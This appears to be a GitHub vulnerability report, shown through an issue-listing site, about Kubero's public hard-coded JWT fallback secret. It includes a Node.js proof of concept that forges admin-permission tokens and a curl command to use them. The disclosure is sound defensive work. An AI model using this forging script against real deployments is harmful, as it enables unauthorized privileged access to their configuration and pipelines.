kubero-dev / kubero-dev/kubero

Public JWT fallback secret allows forged privileged tokens in Kubero

Open
#786 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
4.4k
Forks
213
PR merge metrics
No merged PRs in 30d

Description

# Public JWT fallback secret allows forged privileged tokens in Kubero

## Summary

Kubero uses a publicly readable fallback value when `JWT_SECRET` is not configured:

```text
DO NOT USE THIS VALUE. INSTEAD, CREATE A COMPLEX SECRET AND KEEP IT SAFE OUTSIDE OF THE SOURCE CODE.
```

The same fallback is used to sign and verify JWTs. Kubero then copies authorization data from the verified token into `req.user`, and `PermissionsGuard` authorizes requests by checking `req.user.permissions`. An attacker who can reach a deployment with `JWT_SECRET` unset can therefore create a valid bearer token containing arbitrary `userId`, `role`, `userGroups`, and permission claims.

This is a conditional authentication and authorization bypass. It affects deployments that do not override `JWT_SECRET` with a deployment-specific secret.

## Affected code

The fallback is registered as the NestJS JWT secret:

[`server/src/auth/auth.module.ts#L34-L39`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/auth/auth.module.ts#L34-L39)

```ts
secret:
process.env.JWT_SECRET ||
'DO NOT USE THIS VALUE. INSTEAD, CREATE A COMPLEX SECRET AND KEEP IT SAFE OUTSIDE OF THE SOURCE CODE.',
```

The JWT strategy uses the same fallback and accepts the token claims without a database or session lookup:

[`server/src/auth/strategies/jwt.strategy.ts#L13-L16`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/auth/strategies/jwt.strategy.ts#L13-L16)

[`server/src/auth/strategies/jwt.strategy.ts#L19-L32`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/auth/strategies/jwt.strategy.ts#L19-L32)

```ts
return {
userId: payload.userId,
username: payload.username,
role: payload.role,
userGroups: payload.userGroups,
permissions: payload.permissions,
};
```

The normal login flow signs the same authorization fields into the JWT:

[`server/src/auth/auth.service.ts#L76-L89`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/auth/auth.service.ts#L76-L89)

```ts
const u = {
userId: user.id,
username: user.username,
role: user.role ? user.role.name : 'none',
userGroups: user.userGroups ? user.userGroups.map((g) => g.name) : [],
permissions: user.permissions ? user.permissions : [],
strategy: 'local',
};

return { access_token: this.jwtService.sign(u) };
```

The token-generation path also falls back to the same public value:

[`server/src/auth/auth.service.ts#L147-L160`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/auth/auth.service.ts#L147-L160)

```ts
secret:
process.env.JWT_SECRET ||
'DO NOT USE THIS VALUE. INSTEAD, CREATE A COMPLEX SECRET AND KEEP IT SAFE OUTSIDE OF THE SOURCE CODE.',
```

`PermissionsGuard` trusts the permissions copied from the token:

[`server/src/auth/permissions.guard.ts#L24-L38`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/auth/permissions.guard.ts#L24-L38)

```ts
const { user } = context.switchToHttp().getRequest();
if (!user || !user.permissions) {
throw new ForbiddenException('No permissions found');
}
const hasPermission = requiredPermissions.some((perm) =>
user.permissions.includes(perm),
);
```

For example, the configuration and pipeline endpoints use this guard:

[`server/src/config/config.controller.ts#L22-L39`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/config/config.controller.ts#L22-L39)

[`server/src/pipelines/pipelines.controller.ts#L38-L61`](https://github.com/kubero-dev/kubero/blob/36a5046c379c5e9e5e0b2c1b80c218bfaa811144/server/src/pipelines/pipelines.controller.ts#L38-L61)

## Impact

If `JWT_SECRET` is unset, an attacker can mint a JWT accepted by the server without logging in. The attacker can choose the authorization claims, including permissions such as:

```text
config:read
config:write
pipeline:read
pipeline:write
app:read
app:write
user:read
user:write
token:read
token:write
```

The resulting access depends on which endpoints are enabled and on Kubero's deployment configuration. The source code shows no server-side session, token allowlist, or database revalidation in the JWT strategy. This means the fallback secret is not merely a hard-coded unused key: in the affected configuration it protects a stateless JWT authorization decision.

## Local proof of concept

Run this only against a local Kubero instance whose `JWT_SECRET` is intentionally unset:

```js
const jwt = require('jsonwebtoken');

const secret =
'DO NOT USE THIS VALUE. INSTEAD, CREATE A COMPLEX SECRET AND KEEP IT SAFE OUTSIDE OF THE SOURCE CODE.';

const token = jwt.sign(
{
userId: 'local-test-user',
username: 'admin',
role: 'admin',
userGroups: ['admin'],
permissions: [
'config:read',
'config:write',
'pipeline:read',
'pipeline:write',
'user:read',
'user:write',
],
strategy: 'local',
},
secret,
{ algorithm: 'HS256', expiresIn: '36000s' },
);

console.log(token);
```

Send the generated token to a protected local endpoint:

```bash
curl -i http://127.0.0.1:2000/api/config \
-H "Authorization: Bearer ${TOKEN}"
```

The request is accepted by the JWT and permission guards when the local instance has the relevant endpoint available and `JWT_SECRET` is unset. Do not run this PoC against a production or third-party deployment.

## Recommendation

Remove the public fallback and fail closed when `JWT_SECRET` is missing. Require an operator-supplied, deployment-specific random secret before starting the authentication module. Rotate any secret used by an exposed deployment and invalidate previously issued tokens.

## Classification

- CWE-798: Use of Hard-coded Credentials
- CWE-321: Use of Hard-coded Cryptographic Key
- CWE-1188: Insecure Default Initialization of Resource

This report is intended for private vulnerability disclosure. The full public fallback value is included because it is already present in the referenced source code.

## Related examples

- [GHSA-cwj8-7gp2-ggcw](https://github.com/advisories/GHSA-cwj8-7gp2-ggcw)
- [GHSA-mqq6-462x-jxmm](https://github.com/advisories/GHSA-mqq6-462x-jxmm)
- [GHSA-cc4f-hjpj-g9p8](https://github.com/advisories/GHSA-cc4f-hjpj-g9p8)
- [GHSA-c8m8-3jcr-6rj5](https://github.com/advisories/GHSA-c8m8-3jcr-6rj5)
- [LibreChat fix](https://github.com/danny-avila/LibreChat/commit/1596df724a840f894831fc74f21de8d8df72fcb1)

Contributor guide

Open the contributing guide

Research direction

Start with server/src/auth/auth.module.ts and server/src/auth/strategies/jwt.strategy.ts, then trace token creation in server/src/auth/auth.service.ts and authorization in server/src/auth/permissions.guard.ts, including the config and pipelines controllers. Done means a deployment with JWT_SECRET unset cannot start authentication or accept tokens signed with the public fallback, while configured deployments retain their intended authentication behavior.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
authentication, authorization, backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.